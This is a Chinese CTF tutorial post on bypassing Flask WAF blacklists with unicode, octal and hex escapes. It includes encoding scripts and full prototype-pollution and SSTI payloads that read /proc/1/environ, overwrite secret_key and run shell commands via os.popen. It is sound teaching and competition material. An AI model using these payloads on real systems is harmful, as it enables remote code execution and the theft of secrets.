基于flask常见trick——unicode进制编码绕过

news2024/12/24 3:02:51

前言

Flask 是一个轻量级的 Python Web 框架,设计上追求简洁和灵活性,适合构建中小型的 Web 应用程序。

其出题方便,经常能在CTF比赛中见到,常见题型有debug模式算pin码、ssti、原型链污染等,其中后两者属于通用漏洞,且在flask框架下有比较成体系的利用方式。

本文就编码bypass为线索,针对后两者聊下相关trick。

unicode编码绕过

字符转unicode编码脚本

def string_to_unicode(input_string):
    # 将每个字符转换为 Unicode 转义序列
    unicode_string = ''.join(f'\\u{ord(char):04x}' for char in input_string)
    return unicode_string

# 测试字符串
input_string = "你好,世界!"

# 转换为 Unicode 编码
unicode_encoded = string_to_unicode(input_string)
print(f"Original String: {input_string}")
print(f"Unicode Encoded: {unicode_encoded}")

先做个小lab

import json

# 包含 Unicode 编码的 JSON 字符串
json_data = '{"message": "Hello, \\u4e16\\u754c"}'  # \\u4e16\\u754c 表示 "世界"

# 使用 json.loads 解析
parsed_data = json.loads(json_data)

# 输出解析结果
print(parsed_data["message"])  # 输出: Hello, 世界

为什么呢?

Python 的 json 模块根据 JSON 的规范设计,它会自动检测并解析 Unicode 转义序列(如 \uXXXX 格式),将其转换为相应的 Unicode 字符。所以在调用 json.loads() 时,无需额外处理,它会自动将 JSON 中的 Unicode 字符解析为 Python 的 Unicode 字符串。

而json.loads频繁出现在前后端交互中,如果后端的waf在json.loads之前就对流量监测,则存在unicode编码bypass的空间。

下面以两个题目为例

DASCTF2023七月暑期挑战赛EzFlask

题目链接:https://buuoj.cn/match/matches/188

源码

import uuid 
from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

./register可以打python原型链污染

https://tttang.com/archive/1876/

理想状态下用这个payload可以污染file,然后访问./即可读到环境变量里的flag

{"__init__" : {
        "__globals__" : {
            "__file__" : "/proc/1/environ"
            }
        }
    }
}

而init被blacklist过滤了,幸运的是check是在json.loads之前执行的,可以用unicode编码绕过

{
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
        "__globals__" : {
            "__file__" : "/proc/1/environ"
            }
        }
    }
}

XGCTF2024_easy_polluted

题目链接:https://ctf.show/challenges#easy_polluted-4403

源码

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
c = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    print(session["username"])
    print(session["password"])
    Evil = evil()
    if request.data:
        print(request.data)
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    print(username)
    print(password)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("flag.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

flag.html

/可以原型链污染,改掉app.secretkey之后访问/admin拿到flag

并且flag.html不是正常的渲染格式{},所以也要污染掉模板字符串

同样用unicode编码绕过黑名单

先污染jinja2模板字符串

{
 "__init__" : {
 "__globals__" : {
 "app" : {
 "jinja_env" :{
"variable_start_string" : "[#","variable_end_string":"#]"
} 
 }
 }
 }
{

 "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
 "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
 "\u0061\u0070\u0070" : {
 "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
 }
 }
 }
}

再污染secretkey

{ "__init__" : { "__globals__" : { "app" : { "secret_key" :"Z3r4y"} } } }
{
 "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
 "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
 "\u0061\u0070\u0070" : {
 "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"Z3r4y"
 }
 }
 }
}

最后登录将username和password写进session

username=adminer&password=Z3r4y

带着响应头里的session访问/admin拿到flag

进制编码绕过

Flask 的 render_template_string 函数内部使用了 Jinja2 模板引擎,而 Jinja2 模板引擎可以解析和处理 Python 字符串中的八进制、十六进制、Unicode 转义等格式。

字符转八进制的脚本

def string_to_octal_escape(input_string):
    octal_escape = ''.join(f'\\{ord(char):03o}' for char in input_string)
    return octal_escape

# 示例
input_string = "__import__('os').popen('ls /').read()"
octal_escape_string = string_to_octal_escape(input_string)
print(f"字符串 '{input_string}' 的八进制转义表示为: {octal_escape_string}")

字符转十六进制的脚本

def string_to_hex_with_prefix(input_string):
    # 将每个字符转换为 \x 前缀的十六进制表示
    hex_string = ''.join(f'\\x{ord(char):02x}' for char in input_string)
    return hex_string

# 测试字符串
input_string = "__class__"

# 转换为带 \x 前缀的十六进制编码
hex_encoded = string_to_hex_with_prefix(input_string)
print(f"Original String: {input_string}")
print(f"Hex Encoded: {hex_encoded}")

先给个lab,无限制ssti

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    # 直接将用户输入作为模板渲染
    name = request.args.get('name', '')

    # 这里直接将 name 渲染为模板字符串,导致可能的 SSTI 漏洞
    return render_template_string(f'Hello, {name}!')

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=1337)

一个常见的payload:

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

可以用下面这种八进制编码做到减少被waf关键词,甚至无字母的攻击

{{''.__class__.foo}} → {{''['\137'+'\137'+'\143'+'\154'+'\141'+'\163'+'\163'+'\137'+'\137']foo}}

于是上述payload就可以转换成

{{config['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']("\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\154\163\040\057\047\051\056\162\145\141\144\050\051")}}

但这样还是没有到无字母的程度,我们可以换一条链

先找<class 'os._wrap_close'>

{{''.__class__.__mro__[1].__subclasses__()}}
{{''["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()}}

位置为137

{{''.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
{{''["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[137]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']("\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\154\163\040\057\047\051\056\162\145\141\144\050\051")}}

当然也可以unicode绕过

{{''["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u006d\u0072\u006f\u005f\u005f"][1]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[137]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u006c\u0073\u0020\u002f\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029")}}

或者十六进制编码绕过

{{''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x6d\x72\x6f\x5f\x5f"][1]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[137]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x20\x2f\x27\x29\x2e\x72\x65\x61\x64\x28\x29")}}

具体例题有很多,如2024长城杯的CandyShop,感兴趣的师傅可以复现一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2170402.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IPLOOK百万级用户容量核心网惊艳亮相北京PT展

2024年9月25日&#xff0c;以“推动数实深度融合&#xff0c;共筑新质生产力”为主题&#xff0c;本届中国国际信息通信展&#xff08;PT展&#xff09;在北京国家会议中心正式拉开帷幕。 广州爱浦路网络技术有限公司&#xff08;简称&#xff1a;IPLOOK&#xff09;&#xff…

SocialAI:拉满情绪价值的社交情感依托平台

​近日&#xff0c;SocialAI这款人工智能社交应用在苹果商店上线仅三天便引发广泛关注。它以独特的功能和创新的社交体验迅速走红&#xff0c;为社交领域带来了新的变革。 其亮点包括注册送百万虚拟粉丝&#xff0c;皆AI 生成回复和点赞&#xff0c;用户可自由定制关注者类型&…

鸿蒙开发(NEXT/API 12)【硬件(外设扩展驱动客户端开发)】驱动开发服务

Driver Development Kit&#xff08;驱动开发套件&#xff09;为外设驱动开发者提供高效、安全、丰富的外设扩展驱动开发解决方案C-API&#xff0c;支持外设驱动开发者为消费者带来外设即插即用的极致体验。 支持开发者开发外设配件的高阶功能&#xff0c;满足消费者高阶使用场…

erlang学习:Linux命令学习6

for循环学习 打印九九乘法表 for i in {1..9};do %%取1-9for j in $(seq 1 $i);do %%取1-iecho -n "$j*$i$((i*j)) " %%进行九九乘法表打印doneecho done尝试了很多次报错是因为后面的换行符不对&#xff0c;window系统中的换行符与linux对不上&#xff0c;因…

three.js----快速上手,如何用vue在web页面中导入 gltf/glb , fbx , obj 模型

首先去three.js官网下载three.js包,或者在直接在vue项目中 npm install three0.158.0 --save (学three.js需要有一点前端基础,基础掌握不牢的还是从基础开始) 这个0.158.0是版本号,不用纠结选新的还是选旧的,新手先不考虑这些,three.js基本上个把月就会更新一次,选一个不太新…

【CSS】字体文本

color 颜色font-size 大小font-family 字体font-style 样式font-weight 加粗text-decoration 下划线text-shadow 阴影text-transform 大小写变换text-indent 缩进text-align 水平对齐 、vertical-align垂直对齐text-overflow 溢出word-wrap 换行word-break 截断white-space 空白…

Uptime Kuma运维监控服务本地部署结合内网穿透实现远程在线监控

目录 前言 主要功能 一、前期准备 本教程环境为&#xff1a;Centos7&#xff0c;可以跑Docker的系统都可以使用本教程安装。 本教程使用Docker部署服务&#xff0c;如何安装Docker详见&#xff1a; 二、Docker部署Uptime Kuma 三、实现公网查看网站监控 四、使用固定公…

一文看懂英伟达系列显卡特点及性能参数对比

英伟达介绍 英伟达(NVIDIA)是美国一家专业的计算机图形芯片制造商&#xff0c;作为全球领先的GPU生产商&#xff0c;英伟达显卡产品系列涵盖GeForce、Quadro、Tesla、NVS、GRID等消费级、专业级和企业级市场。并被广泛应用于游戏、深度学习、科学计算和图形处理等领域。 NVID…

建筑智能,推动智慧社区发展

建筑智能已经成为现代城市建设的热门词汇。它不仅是提高城市建筑现代化水平的必由之路&#xff0c;也是未来城市智能化的重要标志。其中&#xff0c;智能社区是建筑智能化的重要环节之一。 智能社区是指以信息技术为基础&#xff0c;通过信息技术实现社区设施设备网络化、监管…

JS设计模式之模板方法模式:打破束缚,解密代码复用的精髓

一. 前言 在前端开发中&#xff0c;模板方法模式是一种常用的设计模式&#xff0c;它能够有效地提高代码的复用性和扩展性。在 JavaScript 中&#xff0c;模板方法模式的应用广泛&#xff0c;常被用于组件的生命周期管理、请求封装和拦截器设计、表单验证等多个场景。 本篇文…

数据结构和算法之树形结构(3)

文章出处&#xff1a;数据结构和算法之树形结构(3) 关注码农爱刷题&#xff0c;看更多技术文章&#xff01;&#xff01; 四、平衡二叉树(接前篇) 上一章节讲到为了避免二叉查找树退化成链表后的极度不平衡带来的低效率而衍生出了平衡二叉树&#xff0c;平衡二叉树的严格定义…

CDGA|数据治理:策略与价值的深度融合

在当今这个数据驱动的时代&#xff0c;企业数据治理的重要性日益凸显。数据不仅是企业的核心资产&#xff0c;更是驱动业务决策、优化运营流程、创新产品服务的关键力量。然而&#xff0c;要让数据治理真正发挥价值&#xff0c;企业需要采取一系列策略来确保数据的准确性、完整…

Unity 资源 之 PoseAI 基于肌肉的姿势创作工具

Unity 资源 之 PoseAI 基于肌肉的姿势创作工具 一&#xff0c;前言二&#xff0c;资源包内容三&#xff0c;免费获取资源包 一&#xff0c;前言 Unity 开发者们&#xff0c;今天要为大家介绍一款极具创新性的工具 ——PoseAI。 PoseAI 是一种最先进的基于肌肉的姿势创作工具&…

Flink基本概念和算子使用

基础概念 Flink是一个框架和分布式处理引擎&#xff0c;用于对无界数据流和有界数据流进行有状态计算&#xff0c;它的核心目标是“数据流上的有状态计算”。 有界流和无界流 有界流&#xff1a;具有明确的开始和结束时间&#xff0c;数据量有限。适合使用批处理技术&#xf…

Elasticsearch实战宝典:从日志分析到实时数据监控,全方位解锁搜索与分析的无限可能!

Elasticsearch 是一个开源的分布式搜索和分析引擎&#xff0c;常用于处理大规模数据。它提供了强大的全文搜索、结构化搜索、实时统计分析等功能。以下是一些 Elasticsearch 的实战应用案例。 1. 日志分析系统 Elasticsearch 经常被用于集中式日志管理&#xff08;Centralized…

使用SSE流式输出(Javaweb前后端实战)

目录 一.什么是SSE&#xff1f; 主要特点&#xff1a; 二.SSE的实现过程&#xff1a; 三.SSE的前端实现&#xff1a; 1.创建 EventSource 对象&#xff1a; 2.处理接收到的信息&#xff1a; 3.处理特定事件&#xff1a; 4.处理连接错误问题&#xff1a; 5.关闭连接&am…

网络安全的方方面面

目录 一、网络安全概述二、数据加密三、消息完整性与数字签名四、身份认证五、密钥分发中心(KDC)与证书认证(CA)六、防火墙与入侵检测系统七、网络安全协议八、网络安全攻防 -- 黑客攻击简要流程九、网络安全常用术语 一、网络安全概述 网络安全的基本特征&#xff1a;相对性、…

ArcGIS Desktop使用入门(三)常用工具条——拓扑(上篇:地图拓扑)

系列文章目录 ArcGIS Desktop使用入门&#xff08;一&#xff09;软件初认识 ArcGIS Desktop使用入门&#xff08;二&#xff09;常用工具条——标准工具 ArcGIS Desktop使用入门&#xff08;二&#xff09;常用工具条——编辑器 ArcGIS Desktop使用入门&#xff08;二&#x…

基于Java的学生档案管理系统

基于springbootvue实现的学生档案管理系统 &#xff08;源码L文ppt&#xff09;4-065 第4章 系统设计 4.1 总体功能设计 学生档案管理系统的总体功能设计包括学生信息管理、课程管理、教师信息管理、成绩管理和系统配置管理。系统将提供用户友好的界面&#xff0c;支…

【Linux】图解详谈HTTPS的安全传输

文章目录 1.前置知识2.只使用对称加密3.只使用非对称加密 因为私钥加密只能公钥解开&#xff0c;公钥加密只能私钥解开4.双方都是使用非对称加密5.非对称加密 对称加密6.非对称加密对称加密CA认证&#xff08;一&#xff09;CA认证&#xff08;二&#xff09;https &#xff0…